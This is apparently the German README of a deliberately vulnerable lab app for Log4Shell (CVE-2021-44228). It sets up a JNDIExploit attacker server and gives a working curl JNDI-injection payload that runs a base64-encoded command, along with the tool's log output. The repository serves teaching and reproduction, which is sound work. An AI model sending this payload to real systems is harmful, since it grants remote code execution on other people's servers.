
Dieses Repository enthält eine Spring-Boot-Webanwendung, die für CVE-2021-44228, bekannt als log4shell, anfällig ist.
Dieses Repository enthält eine Spring-Boot-Webanwendung, die für CVE-2021-44228 verwundbar ist, bekannt als log4shell.
Sie verwendet
log-4j-core:2.14.1 (über spring-boot-starter-log4j2) undopenjdk:8u181Ausführen:
docker run --name vulnerable-app --rm -p 8080:8080 romanutti/log4shell-vulnerable-app
Oder alternativ selbst bauen:
docker build . -t vulnerable-app
docker run -p 8080:8080 --name vulnerable-app --rm vulnerable-app
Mit den folgenden Schritten kannst du einen Log4Shell-Exploit reproduzieren. Wenn du nicht weißt, wie der Angriff unter der Haube funktioniert, schau dir diesen Artikel oder die Folien in diesem Repository an.
Update (13. Dezember): Das JNDIExploit-Repository wurde von GitHub entfernt (vermutlich nicht von GitHub). Ich empfehle dir daher, die gespeicherte Version aus diesem Repository zu verwenden.
Zuerst müssen wir die Angreifer-Server einrichten. Das besteht aus
Wir verwenden JNDIExploit, um die Angreifer-Server hochzufahren.
git clone https://github.com/romanutti/log4shell-vulnerable-app.git
cd log4shell-vulnerable-app/src/main/resources
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i [your-private-ip] -p 8888
Als Payload möchten wir touch /tmp/pwned (was der Base64-kodierten Zeichenfolge dG91Y2ggL3RtcC9wd25lZAo= entspricht) auf dem Server der verwundbaren Anwendung ausführen.
Löse den Exploit folgendermaßen aus:
# will execute 'touch /tmp/pwned'
curl localhost:8080 -H 'user: ${jndi:ldap://[your-private-ip]:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
Die Ausgabe von JNDIExploit zeigt, dass die Angreifer-Server mit dem bösartigen Exploit geantwortet und die Payload ausgeführt haben:
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo
[+] Paylaod: command
[+] Command: touch /tmp/pwned
[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo redirecting to http://[your-private-ip]:8888/Exploitjkk87OnvOH.class
[+] New HTTP Request From /[your-private-ip]:50119 /Exploitjkk87OnvOH.class
[+] Receive ClassRequest: Exploitjkk87OnvOH.class
[+] Response Code: 200
Um zu bestätigen, dass die Codeausführung erfolgreich war, prüfen wir, ob die Datei /tmp/pwned.txt im Container der verwundbaren Anwendung erstellt wurde:
$ docker exec vulnerable-app ls /tmp
...
pwned
...
https://www.lunasec.io/docs/blog/log4j-zero-day/
https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/
https://github.com/christophetd/log4shell-vulnerable-app/